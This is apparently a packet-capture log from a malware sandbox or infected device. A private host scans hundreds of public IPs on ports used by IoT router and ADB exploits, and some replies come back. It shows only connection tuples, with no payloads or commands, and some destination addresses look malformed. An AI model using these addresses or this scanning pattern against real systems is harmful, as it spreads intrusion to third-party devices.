Feb 12, 2023 21:24:50.042746067 CET	52981	37215	192.168.2.23	197.53.236.58
Feb 12, 2023 21:24:50.042752981 CET	52981	37215	192.168.2.23	197.212.221.81
Feb 12, 2023 21:24:50.042754889 CET	52981	37215	192.168.2.23	197.212.52.193
Feb 12, 2023 21:24:50.042759895 CET	52981	37215	192.168.2.23	121.119.4.74
Feb 12, 2023 21:24:50.042782068 CET	52981	37215	192.168.2.23	157.217.165.115
Feb 12, 2023 21:24:50.042794943 CET	52981	37215	192.168.2.23	133.133.167.21
Feb 12, 2023 21:24:50.042794943 CET	52981	37215	192.168.2.23	197.158.232.94
Feb 12, 2023 21:24:50.042799950 CET	52981	37215	192.168.2.23	114.248.180.0
Feb 12, 2023 21:24:50.042805910 CET	52981	37215	192.168.2.23	157.61.188.219
Feb 12, 2023 21:24:50.042819977 CET	52981	37215	192.168.2.23	197.228.226.209
Feb 12, 2023 21:24:50.042826891 CET	52981	37215	192.168.2.23	157.207.162.232
Feb 12, 2023 21:24:50.042867899 CET	52981	37215	192.168.2.23	157.76.32.244
Feb 12, 2023 21:24:50.042938948 CET	52981	37215	192.168.2.23	65.166.3.95
Feb 12, 2023 21:24:50.042938948 CET	52981	37215	192.168.2.23	197.236.131.222
Feb 12, 2023 21:24:50.042947054 CET	52981	37215	192.168.2.23	157.138.78.235
Feb 12, 2023 21:24:50.042947054 CET	52981	37215	192.168.2.23	114.175.84.7
Feb 12, 2023 21:24:50.042956114 CET	52981	37215	192.168.2.23	70.179.10.24
Feb 12, 2023 21:24:50.042959929 CET	52981	37215	192.168.2.23	49.7.120.247
Feb 12, 2023 21:24:50.042959929 CET	52981	37215	192.168.2.23	41.173.39.143
Feb 12, 2023 21:24:50.042959929 CET	52981	37215	192.168.2.23	156.163.96.3
Feb 12, 2023 21:24:50.042979002 CET	52981	37215	192.168.2.23	157.187.35.236
Feb 12, 2023 21:24:50.042979002 CET	52981	37215	192.168.2.23	94.249.84.183
Feb 12, 2023 21:24:50.042984962 CET	52981	37215	192.168.2.23	41.111.117.36
Feb 12, 2023 21:24:50.042984962 CET	52981	37215	192.168.2.23	155.39.189.58
Feb 12, 2023 21:24:50.042987108 CET	52981	37215	192.168.2.23	147.230.244.139
Feb 12, 2023 21:24:50.042992115 CET	52981	37215	192.168.2.23	197.18.30.75
Feb 12, 2023 21:24:50.042992115 CET	52981	37215	192.168.2.23	157.172.152.122
Feb 12, 2023 21:24:50.043001890 CET	52981	37215	192.168.2.23	89.22.255.6
Feb 12, 2023 21:24:50.043039083 CET	52981	37215	192.168.2.23	41.16.252.77
Feb 12, 2023 21:24:50.043261051 CET	52981	37215	192.168.2.23	41.244.7.17
Feb 12, 2023 21:24:50.043268919 CET	52981	37215	192.168.2.23	80.183.142.168
Feb 12, 2023 21:24:50.043268919 CET	52981	37215	192.168.2.23	197.17.206.207
Feb 12, 2023 21:24:50.043268919 CET	52981	37215	192.168.2.23	211.234.93.31
Feb 12, 2023 21:24:50.043272018 CET	52981	37215	192.168.2.23	93.22.27.87
Feb 12, 2023 21:24:50.043272018 CET	52981	37215	192.168.2.23	41.128.200.3
Feb 12, 2023 21:24:50.043328047 CET	52981	37215	192.168.2.23	41.38.128.104
Feb 12, 2023 21:24:50.043329954 CET	52981	37215	192.168.2.23	157.10.57.113
Feb 12, 2023 21:24:50.043329000 CET	52981	37215	192.168.2.23	197.224.86.115
Feb 12, 2023 21:24:50.043329954 CET	52981	37215	192.168.2.23	197.232.173.44
Feb 12, 2023 21:24:50.043329000 CET	52981	37215	192.168.2.23	157.185.56.90
Feb 12, 2023 21:24:50.043329954 CET	52981	37215	192.168.2.23	197.78.124.13
Feb 12, 2023 21:24:50.043329000 CET	52981	37215	192.168.2.23	197.6.94.11
Feb 12, 2023 21:24:50.043406963 CET	52981	37215	192.168.2.23	41.148.222.191
Feb 12, 2023 21:24:50.043411016 CET	52981	37215	192.168.2.23	197.142.133.226
Feb 12, 2023 21:24:50.043421030 CET	52981	37215	192.168.2.23	75.17.54.47
Feb 12, 2023 21:24:50.043421030 CET	52981	37215	192.168.2.23	157.120.154.127
Feb 12, 2023 21:24:50.043421030 CET	52981	37215	192.168.2.23	41.120.141.129
Feb 12, 2023 21:24:50.043426037 CET	52981	37215	192.168.2.23	157.237.235.109
Feb 12, 2023 21:24:50.043430090 CET	52981	37215	192.168.2.23	101.150.56.191
Feb 12, 2023 21:24:50.043430090 CET	52981	37215	192.168.2.23	197.170.38.106
Feb 12, 2023 21:24:50.043432951 CET	52981	37215	192.168.2.23	12.122.54.147
Feb 12, 2023 21:24:50.043432951 CET	52981	37215	192.168.2.23	157.1.160.28
Feb 12, 2023 21:24:50.043437958 CET	52981	37215	192.168.2.23	41.114.175.86
Feb 12, 2023 21:24:50.043437958 CET	52981	37215	192.168.2.23	157.151.63.102
Feb 12, 2023 21:24:50.043437958 CET	52981	37215	192.168.2.23	144.146.228.163
Feb 12, 2023 21:24:50.043443918 CET	52981	37215	192.168.2.23	41.93.200.49
Feb 12, 2023 21:24:50.043443918 CET	52981	37215	192.168.2.23	197.170.7.23
Feb 12, 2023 21:24:50.043443918 CET	52981	37215	192.168.2.23	57.23.21.121
Feb 12, 2023 21:24:50.043443918 CET	52981	37215	192.168.2.23	197.180.197.110
Feb 12, 2023 21:24:50.043443918 CET	52981	37215	192.168.2.23	41.222.79.69
Feb 12, 2023 21:24:50.043462992 CET	52981	37215	192.168.2.23	41.175.98.106
Feb 12, 2023 21:24:50.043464899 CET	52981	37215	192.168.2.23	143.38.176.117
Feb 12, 2023 21:24:50.043471098 CET	52981	37215	192.168.2.23	157.17.16.56
Feb 12, 2023 21:24:50.043472052 CET	52981	37215	192.168.2.23	41.111.146.148
Feb 12, 2023 21:24:50.043472052 CET	52981	37215	192.168.2.23	44.190.230.65
Feb 12, 2023 21:24:50.043474913 CET	52981	37215	192.168.2.23	157.63.220.102
Feb 12, 2023 21:24:50.043474913 CET	52981	37215	192.168.2.23	41.105.9.82
Feb 12, 2023 21:24:50.043488026 CET	52981	37215	192.168.2.23	197.88.164.183
Feb 12, 2023 21:24:50.043488026 CET	52981	37215	192.168.2.23	41.227.225.245
Feb 12, 2023 21:24:50.043488026 CET	52981	37215	192.168.2.23	197.118.23.148
Feb 12, 2023 21:24:50.043495893 CET	52981	37215	192.168.2.23	197.40.80.216
Feb 12, 2023 21:24:50.043495893 CET	52981	37215	192.168.2.23	157.106.82.165
Feb 12, 2023 21:24:50.043499947 CET	52981	37215	192.168.2.23	197.70.174.12
Feb 12, 2023 21:24:50.043499947 CET	52981	37215	192.168.2.23	157.26.17.89
Feb 12, 2023 21:24:50.045011997 CET	5555	22272	187.66.23.154	192.168.2.23
Feb 12, 2023 21:24:50.058975935 CET	5555	22272	118.51.123.82	192.168.2.23
Feb 12, 2023 21:24:50.066785097 CET	37215	52981	178.32.56.202	192.168.2.23
Feb 12, 2023 21:24:50.112514019 CET	37215	52981	41.249.209.83	192.168.2.23
Feb 12, 2023 21:24:50.114896059 CET	54884	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:50.117366076 CET	37215	52981	156.163.96.3	192.168.2.23
Feb 12, 2023 21:24:50.117547989 CET	52981	37215	192.168.2.23	156.163.96.3
Feb 12, 2023 21:24:50.117548943 CET	55640	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:50.119533062 CET	54888	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:50.122013092 CET	55644	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:50.124108076 CET	55646	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:50.125579119 CET	55648	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:50.128576994 CET	37215	52981	41.232.14.196	192.168.2.23
Feb 12, 2023 21:24:50.194200039 CET	37215	52981	41.139.18.163	192.168.2.23
Feb 12, 2023 21:24:50.218082905 CET	37215	52981	197.254.106.154	192.168.2.23
Feb 12, 2023 21:24:50.223666906 CET	36322	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:50.243526936 CET	37215	52981	41.220.20.9	192.168.2.23
Feb 12, 2023 21:24:50.255691051 CET	43526	80	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:50.255716085 CET	38098	80	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:50.255736113 CET	48374	80	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:50.255738020 CET	60786	80	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:50.255738020 CET	46916	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:50.255754948 CET	42800	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:50.255760908 CET	60838	80	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:50.255754948 CET	54934	80	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:50.255754948 CET	40822	80	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:50.255770922 CET	49920	80	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:50.264172077 CET	37215	52981	41.70.220.41	192.168.2.23
Feb 12, 2023 21:24:50.285826921 CET	37215	52981	187.36.4.4	192.168.2.23
Feb 12, 2023 21:24:50.287735939 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:50.287743092 CET	53888	52869	192.168.2.23	56.50.46.50
Feb 12, 2023 21:24:50.287751913 CET	50870	52869	192.168.2.23	49.46.50.52
Feb 12, 2023 21:24:50.287743092 CET	47734	52869	192.168.2.23	50.51.49.46
Feb 12, 2023 21:24:50.287766933 CET	35624	52869	192.168.2.23	54.49.46.50
Feb 12, 2023 21:24:50.287770987 CET	43466	52869	192.168.2.23	56.55.46.49
Feb 12, 2023 21:24:50.287792921 CET	55348	52869	192.168.2.23	52.52.46.49
Feb 12, 2023 21:24:50.287801981 CET	34826	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:50.287817955 CET	43230	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:50.319672108 CET	35910	52869	192.168.2.23	56.52.46.49
Feb 12, 2023 21:24:50.433897972 CET	56366	80	192.168.2.23	51.55.46.52
Feb 12, 2023 21:24:50.441526890 CET	54116	80	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:50.454008102 CET	55226	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:50.464622974 CET	49142	80	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:50.471266985 CET	39304	80	192.168.2.23	52.49.46.57
Feb 12, 2023 21:24:50.478929996 CET	38114	80	192.168.2.23	56.52.46.50
Feb 12, 2023 21:24:50.479827881 CET	37215	52981	197.129.111.51	192.168.2.23
Feb 12, 2023 21:24:50.511760950 CET	47944	49152	192.168.2.23	48.46.49.49
Feb 12, 2023 21:24:50.543692112 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:50.607743025 CET	49748	8080	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:50.607747078 CET	41022	8080	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:50.607743025 CET	33952	8080	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:50.639725924 CET	45326	8080	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:50.639728069 CET	39972	8080	192.168.2.23	50.49.53.46
Feb 12, 2023 21:24:50.639725924 CET	50188	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:50.641752958 CET	36850	8080	192.168.2.23	49.50.46.50
Feb 12, 2023 21:24:50.671715021 CET	37294	8080	192.168.2.23	50.57.46.50
Feb 12, 2023 21:24:50.786812067 CET	51068	52869	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:50.798824072 CET	22272	5555	192.168.2.23	67.118.238.246
Feb 12, 2023 21:24:50.798832893 CET	22272	5555	192.168.2.23	170.157.209.94
Feb 12, 2023 21:24:50.798890114 CET	22272	5555	192.168.2.23	143.60.210.132
Feb 12, 2023 21:24:50.798896074 CET	22272	5555	192.168.2.23	207.132.2.191
Feb 12, 2023 21:24:50.798904896 CET	22272	5555	192.168.2.23	77.138.135.123
Feb 12, 2023 21:24:50.798904896 CET	22272	5555	192.168.2.23	150.211.121.213
Feb 12, 2023 21:24:50.798918962 CET	22272	5555	192.168.2.23	195.225.155.43
Feb 12, 2023 21:24:50.798985004 CET	22272	5555	192.168.2.23	34.170.185.234
Feb 12, 2023 21:24:50.799006939 CET	22272	5555	192.168.2.23	152.100.61.181
Feb 12, 2023 21:24:50.799010038 CET	22272	5555	192.168.2.23	65.119.140.135
Feb 12, 2023 21:24:50.799058914 CET	22272	5555	192.168.2.23	167.181.117.252
Feb 12, 2023 21:24:50.799093962 CET	22272	5555	192.168.2.23	4.10.131.214
Feb 12, 2023 21:24:50.799110889 CET	22272	5555	192.168.2.23	48.107.176.213
Feb 12, 2023 21:24:50.799117088 CET	22272	5555	192.168.2.23	110.134.151.244
Feb 12, 2023 21:24:50.799124002 CET	22272	5555	192.168.2.23	184.210.169.73
Feb 12, 2023 21:24:50.799149990 CET	22272	5555	192.168.2.23	112.3.225.210
Feb 12, 2023 21:24:50.799149990 CET	22272	5555	192.168.2.23	166.191.89.249
Feb 12, 2023 21:24:50.799220085 CET	22272	5555	192.168.2.23	156.20.51.17
Feb 12, 2023 21:24:50.799220085 CET	22272	5555	192.168.2.23	180.147.100.222
Feb 12, 2023 21:24:50.799252987 CET	22272	5555	192.168.2.23	98.120.10.251
Feb 12, 2023 21:24:50.799264908 CET	22272	5555	192.168.2.23	222.50.119.224
Feb 12, 2023 21:24:50.799278975 CET	22272	5555	192.168.2.23	115.140.134.247
Feb 12, 2023 21:24:50.799150944 CET	22272	5555	192.168.2.23	79.61.250.243
Feb 12, 2023 21:24:50.799314022 CET	22272	5555	192.168.2.23	167.110.148.126
Feb 12, 2023 21:24:50.799326897 CET	22272	5555	192.168.2.23	106.120.7.250
Feb 12, 2023 21:24:50.799150944 CET	22272	5555	192.168.2.23	27.141.39.174
Feb 12, 2023 21:24:50.799150944 CET	22272	5555	192.168.2.23	74.118.71.205
Feb 12, 2023 21:24:50.799292088 CET	22272	5555	192.168.2.23	95.251.147.142
Feb 12, 2023 21:24:50.799150944 CET	22272	5555	192.168.2.23	80.31.70.102
Feb 12, 2023 21:24:50.799393892 CET	22272	5555	192.168.2.23	218.44.126.41
Feb 12, 2023 21:24:50.799418926 CET	22272	5555	192.168.2.23	98.200.39.10
Feb 12, 2023 21:24:50.799418926 CET	22272	5555	192.168.2.23	150.62.3.74
Feb 12, 2023 21:24:50.799436092 CET	22272	5555	192.168.2.23	194.216.101.118
Feb 12, 2023 21:24:50.799452066 CET	22272	5555	192.168.2.23	182.28.134.129
Feb 12, 2023 21:24:50.799452066 CET	22272	5555	192.168.2.23	200.170.134.50
Feb 12, 2023 21:24:50.799453020 CET	22272	5555	192.168.2.23	78.57.163.215
Feb 12, 2023 21:24:50.799453020 CET	22272	5555	192.168.2.23	35.105.40.149
Feb 12, 2023 21:24:50.799453020 CET	22272	5555	192.168.2.23	53.122.210.91
Feb 12, 2023 21:24:50.799488068 CET	22272	5555	192.168.2.23	35.206.203.179
Feb 12, 2023 21:24:50.799504995 CET	22272	5555	192.168.2.23	165.175.163.89
Feb 12, 2023 21:24:50.799547911 CET	22272	5555	192.168.2.23	42.120.119.28
Feb 12, 2023 21:24:50.799547911 CET	22272	5555	192.168.2.23	165.86.6.164
Feb 12, 2023 21:24:50.799547911 CET	22272	5555	192.168.2.23	161.58.124.199
Feb 12, 2023 21:24:50.799547911 CET	22272	5555	192.168.2.23	154.35.22.27
Feb 12, 2023 21:24:50.799557924 CET	22272	5555	192.168.2.23	83.54.194.13
Feb 12, 2023 21:24:50.799572945 CET	22272	5555	192.168.2.23	192.28.247.160
Feb 12, 2023 21:24:50.799602985 CET	22272	5555	192.168.2.23	187.47.233.91
Feb 12, 2023 21:24:50.799640894 CET	22272	5555	192.168.2.23	45.102.71.3
Feb 12, 2023 21:24:50.799720049 CET	22272	5555	192.168.2.23	90.245.130.234
Feb 12, 2023 21:24:50.799743891 CET	22272	5555	192.168.2.23	65.88.72.56
Feb 12, 2023 21:24:50.799766064 CET	22272	5555	192.168.2.23	40.151.100.105
Feb 12, 2023 21:24:50.799766064 CET	22272	5555	192.168.2.23	91.191.186.173
Feb 12, 2023 21:24:50.799766064 CET	22272	5555	192.168.2.23	96.131.26.239
Feb 12, 2023 21:24:50.799766064 CET	22272	5555	192.168.2.23	179.103.151.143
Feb 12, 2023 21:24:50.799766064 CET	22272	5555	192.168.2.23	151.33.191.211
Feb 12, 2023 21:24:50.799792051 CET	22272	5555	192.168.2.23	113.159.93.254
Feb 12, 2023 21:24:50.799792051 CET	22272	5555	192.168.2.23	89.2.78.218
Feb 12, 2023 21:24:50.799801111 CET	50110	80	192.168.2.23	50.57.46.50
Feb 12, 2023 21:24:50.799801111 CET	22272	5555	192.168.2.23	82.99.195.3
Feb 12, 2023 21:24:50.799818993 CET	22272	5555	192.168.2.23	173.178.92.238
Feb 12, 2023 21:24:50.799820900 CET	22272	5555	192.168.2.23	69.84.102.7
Feb 12, 2023 21:24:50.799894094 CET	37976	80	192.168.2.23	49.50.46.50
Feb 12, 2023 21:24:50.799896002 CET	22272	5555	192.168.2.23	175.93.144.187
Feb 12, 2023 21:24:50.799894094 CET	22272	5555	192.168.2.23	96.88.142.29
Feb 12, 2023 21:24:50.799896955 CET	22272	5555	192.168.2.23	204.163.196.6
Feb 12, 2023 21:24:50.799894094 CET	22272	5555	192.168.2.23	136.205.123.29
Feb 12, 2023 21:24:50.799906015 CET	22272	5555	192.168.2.23	132.96.224.12
Feb 12, 2023 21:24:50.799906015 CET	22272	5555	192.168.2.23	198.197.120.151
Feb 12, 2023 21:24:50.799906969 CET	47022	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:50.799921036 CET	52046	80	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:50.799921036 CET	22272	5555	192.168.2.23	54.120.140.62
Feb 12, 2023 21:24:50.799921989 CET	59682	80	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:50.799951077 CET	22272	5555	192.168.2.23	156.105.72.173
Feb 12, 2023 21:24:50.799962044 CET	37806	80	192.168.2.23	50.49.53.46
Feb 12, 2023 21:24:50.799963951 CET	22272	5555	192.168.2.23	121.215.64.255
Feb 12, 2023 21:24:50.799963951 CET	22272	5555	192.168.2.23	122.251.143.195
Feb 12, 2023 21:24:50.799963951 CET	58134	80	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:50.799969912 CET	22272	5555	192.168.2.23	42.249.28.42
Feb 12, 2023 21:24:50.799969912 CET	22272	5555	192.168.2.23	197.84.248.228
Feb 12, 2023 21:24:50.799971104 CET	22272	5555	192.168.2.23	69.209.10.185
Feb 12, 2023 21:24:50.799969912 CET	22272	5555	192.168.2.23	19.195.131.27
Feb 12, 2023 21:24:50.799979925 CET	60702	80	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:50.799998045 CET	22272	5555	192.168.2.23	69.12.68.42
Feb 12, 2023 21:24:50.799999952 CET	22272	5555	192.168.2.23	48.41.16.217
Feb 12, 2023 21:24:50.799999952 CET	22272	5555	192.168.2.23	49.61.40.207
Feb 12, 2023 21:24:50.800004959 CET	22272	5555	192.168.2.23	121.68.185.22
Feb 12, 2023 21:24:50.800004959 CET	22272	5555	192.168.2.23	38.79.252.65
Feb 12, 2023 21:24:50.800025940 CET	22272	5555	192.168.2.23	141.227.181.43
Feb 12, 2023 21:24:50.800033092 CET	22272	5555	192.168.2.23	217.104.89.45
Feb 12, 2023 21:24:50.800033092 CET	22272	5555	192.168.2.23	220.48.100.222
Feb 12, 2023 21:24:50.800033092 CET	22272	5555	192.168.2.23	155.168.245.75
Feb 12, 2023 21:24:50.800044060 CET	22272	5555	192.168.2.23	218.62.9.140
Feb 12, 2023 21:24:50.800044060 CET	22272	5555	192.168.2.23	159.107.142.50
Feb 12, 2023 21:24:50.800065041 CET	22272	5555	192.168.2.23	115.146.147.166
Feb 12, 2023 21:24:50.800065041 CET	22272	5555	192.168.2.23	165.179.42.96
Feb 12, 2023 21:24:50.800167084 CET	22272	5555	192.168.2.23	184.52.249.52
Feb 12, 2023 21:24:50.800214052 CET	22272	5555	192.168.2.23	125.66.28.9
Feb 12, 2023 21:24:50.800239086 CET	22272	5555	192.168.2.23	38.67.201.40
Feb 12, 2023 21:24:50.800246000 CET	22272	5555	192.168.2.23	31.113.65.80
Feb 12, 2023 21:24:50.800307989 CET	22272	5555	192.168.2.23	177.10.103.85
Feb 12, 2023 21:24:50.800312996 CET	22272	5555	192.168.2.23	119.189.113.122
Feb 12, 2023 21:24:50.800368071 CET	22272	5555	192.168.2.23	107.115.49.141
Feb 12, 2023 21:24:50.800371885 CET	22272	5555	192.168.2.23	126.41.237.152
Feb 12, 2023 21:24:50.800375938 CET	22272	5555	192.168.2.23	134.118.243.1
Feb 12, 2023 21:24:50.800375938 CET	22272	5555	192.168.2.23	142.255.88.241
Feb 12, 2023 21:24:50.800381899 CET	22272	5555	192.168.2.23	5.216.219.53
Feb 12, 2023 21:24:50.800383091 CET	22272	5555	192.168.2.23	176.183.95.244
Feb 12, 2023 21:24:50.800383091 CET	22272	5555	192.168.2.23	209.158.227.154
Feb 12, 2023 21:24:50.800390005 CET	22272	5555	192.168.2.23	138.47.14.150
Feb 12, 2023 21:24:50.800403118 CET	22272	5555	192.168.2.23	8.47.239.136
Feb 12, 2023 21:24:50.800403118 CET	22272	5555	192.168.2.23	149.27.151.220
Feb 12, 2023 21:24:50.800432920 CET	22272	5555	192.168.2.23	90.159.121.41
Feb 12, 2023 21:24:50.800461054 CET	22272	5555	192.168.2.23	165.203.174.4
Feb 12, 2023 21:24:50.800462008 CET	22272	5555	192.168.2.23	77.212.143.2
Feb 12, 2023 21:24:50.800462008 CET	22272	5555	192.168.2.23	93.186.83.25
Feb 12, 2023 21:24:50.800501108 CET	22272	5555	192.168.2.23	160.41.250.173
Feb 12, 2023 21:24:50.800518990 CET	22272	5555	192.168.2.23	37.118.46.49
Feb 12, 2023 21:24:50.800555944 CET	22272	5555	192.168.2.23	90.1.44.9
Feb 12, 2023 21:24:50.800558090 CET	22272	5555	192.168.2.23	95.61.238.77
Feb 12, 2023 21:24:50.800601959 CET	22272	5555	192.168.2.23	118.70.132.109
Feb 12, 2023 21:24:50.800606012 CET	22272	5555	192.168.2.23	202.165.241.193
Feb 12, 2023 21:24:50.800648928 CET	22272	5555	192.168.2.23	173.39.35.45
Feb 12, 2023 21:24:50.800661087 CET	22272	5555	192.168.2.23	156.62.16.215
Feb 12, 2023 21:24:50.800692081 CET	22272	5555	192.168.2.23	125.98.158.65
Feb 12, 2023 21:24:50.800699949 CET	22272	5555	192.168.2.23	216.152.199.5
Feb 12, 2023 21:24:50.800709009 CET	22272	5555	192.168.2.23	193.246.218.0
Feb 12, 2023 21:24:50.800775051 CET	22272	5555	192.168.2.23	87.243.28.112
Feb 12, 2023 21:24:50.800812006 CET	22272	5555	192.168.2.23	179.69.45.87
Feb 12, 2023 21:24:50.800812006 CET	22272	5555	192.168.2.23	17.113.124.92
Feb 12, 2023 21:24:50.800822973 CET	22272	5555	192.168.2.23	13.193.131.95
Feb 12, 2023 21:24:50.800868034 CET	22272	5555	192.168.2.23	8.40.211.217
Feb 12, 2023 21:24:50.800868034 CET	22272	5555	192.168.2.23	63.173.241.196
Feb 12, 2023 21:24:50.800884008 CET	22272	5555	192.168.2.23	17.201.178.22
Feb 12, 2023 21:24:50.800908089 CET	22272	5555	192.168.2.23	185.198.3.89
Feb 12, 2023 21:24:50.800935984 CET	22272	5555	192.168.2.23	52.166.224.221
Feb 12, 2023 21:24:50.800942898 CET	22272	5555	192.168.2.23	137.32.238.147
Feb 12, 2023 21:24:50.800961018 CET	22272	5555	192.168.2.23	23.4.58.89
Feb 12, 2023 21:24:50.800997019 CET	22272	5555	192.168.2.23	194.73.138.93
Feb 12, 2023 21:24:50.801002979 CET	22272	5555	192.168.2.23	174.18.231.203
Feb 12, 2023 21:24:50.801035881 CET	22272	5555	192.168.2.23	136.197.144.138
Feb 12, 2023 21:24:50.801035881 CET	22272	5555	192.168.2.23	89.181.31.249
Feb 12, 2023 21:24:50.801058054 CET	22272	5555	192.168.2.23	201.8.5.38
Feb 12, 2023 21:24:50.801085949 CET	22272	5555	192.168.2.23	119.155.114.213
Feb 12, 2023 21:24:50.801105022 CET	22272	5555	192.168.2.23	186.61.173.88
Feb 12, 2023 21:24:50.801146030 CET	22272	5555	192.168.2.23	180.26.17.82
Feb 12, 2023 21:24:50.801170111 CET	22272	5555	192.168.2.23	31.38.22.133
Feb 12, 2023 21:24:50.801170111 CET	22272	5555	192.168.2.23	53.144.89.133
Feb 12, 2023 21:24:50.801184893 CET	22272	5555	192.168.2.23	185.189.32.61
Feb 12, 2023 21:24:50.801198959 CET	22272	5555	192.168.2.23	50.171.7.54
Feb 12, 2023 21:24:50.801218987 CET	22272	5555	192.168.2.23	154.210.17.155
Feb 12, 2023 21:24:50.801264048 CET	22272	5555	192.168.2.23	167.187.249.165
Feb 12, 2023 21:24:50.801268101 CET	22272	5555	192.168.2.23	189.191.8.19
Feb 12, 2023 21:24:50.801297903 CET	22272	5555	192.168.2.23	147.239.46.10
Feb 12, 2023 21:24:50.801336050 CET	22272	5555	192.168.2.23	177.124.147.170
Feb 12, 2023 21:24:50.801338911 CET	22272	5555	192.168.2.23	52.142.137.167
Feb 12, 2023 21:24:50.801374912 CET	22272	5555	192.168.2.23	58.146.40.125
Feb 12, 2023 21:24:50.801379919 CET	22272	5555	192.168.2.23	92.63.226.116
Feb 12, 2023 21:24:50.801384926 CET	22272	5555	192.168.2.23	205.235.246.121
Feb 12, 2023 21:24:50.801403999 CET	22272	5555	192.168.2.23	138.237.166.1
Feb 12, 2023 21:24:50.801445961 CET	22272	5555	192.168.2.23	102.162.142.63
Feb 12, 2023 21:24:50.801484108 CET	22272	5555	192.168.2.23	189.237.18.75
Feb 12, 2023 21:24:50.801487923 CET	22272	5555	192.168.2.23	108.202.130.192
Feb 12, 2023 21:24:50.801531076 CET	22272	5555	192.168.2.23	128.247.116.158
Feb 12, 2023 21:24:50.801578999 CET	22272	5555	192.168.2.23	190.226.80.246
Feb 12, 2023 21:24:50.801599026 CET	22272	5555	192.168.2.23	73.117.82.70
Feb 12, 2023 21:24:50.801599979 CET	22272	5555	192.168.2.23	110.22.128.9
Feb 12, 2023 21:24:50.801599026 CET	22272	5555	192.168.2.23	65.242.17.4
Feb 12, 2023 21:24:50.801606894 CET	22272	5555	192.168.2.23	151.141.83.129
Feb 12, 2023 21:24:50.801856995 CET	48472	52869	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:50.818165064 CET	43344	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:50.830662966 CET	56764	52869	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:50.831588984 CET	41394	8080	192.168.2.23	48.46.49.49
Feb 12, 2023 21:24:50.831597090 CET	44990	80	192.168.2.23	49.48.52.46
Feb 12, 2023 21:24:50.838258982 CET	41974	52869	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:50.842705965 CET	58624	52869	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:50.848427057 CET	34222	52869	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:50.853236914 CET	49540	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:50.857377052 CET	37976	52869	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:50.863200903 CET	48004	52869	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:50.976753950 CET	5555	22272	185.189.32.61	192.168.2.23
Feb 12, 2023 21:24:50.991733074 CET	50448	37215	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:50.991842031 CET	43242	37215	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:51.023644924 CET	45016	5555	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:51.023684978 CET	58560	37215	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:51.024080992 CET	59408	37215	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:51.044588089 CET	52981	37215	192.168.2.23	41.109.17.29
Feb 12, 2023 21:24:51.044612885 CET	52981	37215	192.168.2.23	197.25.236.128
Feb 12, 2023 21:24:51.044631958 CET	52981	37215	192.168.2.23	137.14.248.251
Feb 12, 2023 21:24:51.044632912 CET	52981	37215	192.168.2.23	157.154.139.241
Feb 12, 2023 21:24:51.044647932 CET	52981	37215	192.168.2.23	197.169.179.69
Feb 12, 2023 21:24:51.044680119 CET	52981	37215	192.168.2.23	157.163.156.64
Feb 12, 2023 21:24:51.044701099 CET	52981	37215	192.168.2.23	197.213.224.204
Feb 12, 2023 21:24:51.044783115 CET	52981	37215	192.168.2.23	96.27.46.211
Feb 12, 2023 21:24:51.044781923 CET	52981	37215	192.168.2.23	41.61.76.119
Feb 12, 2023 21:24:51.044787884 CET	52981	37215	192.168.2.23	157.242.92.170
Feb 12, 2023 21:24:51.044787884 CET	52981	37215	192.168.2.23	197.155.26.240
Feb 12, 2023 21:24:51.044787884 CET	52981	37215	192.168.2.23	41.157.76.162
Feb 12, 2023 21:24:51.044790030 CET	52981	37215	192.168.2.23	157.64.160.139
Feb 12, 2023 21:24:51.044796944 CET	52981	37215	192.168.2.23	197.116.18.223
Feb 12, 2023 21:24:51.044796944 CET	52981	37215	192.168.2.23	155.72.245.205
Feb 12, 2023 21:24:51.044795036 CET	52981	37215	192.168.2.23	142.204.239.119
Feb 12, 2023 21:24:51.044809103 CET	52981	37215	192.168.2.23	157.252.243.23
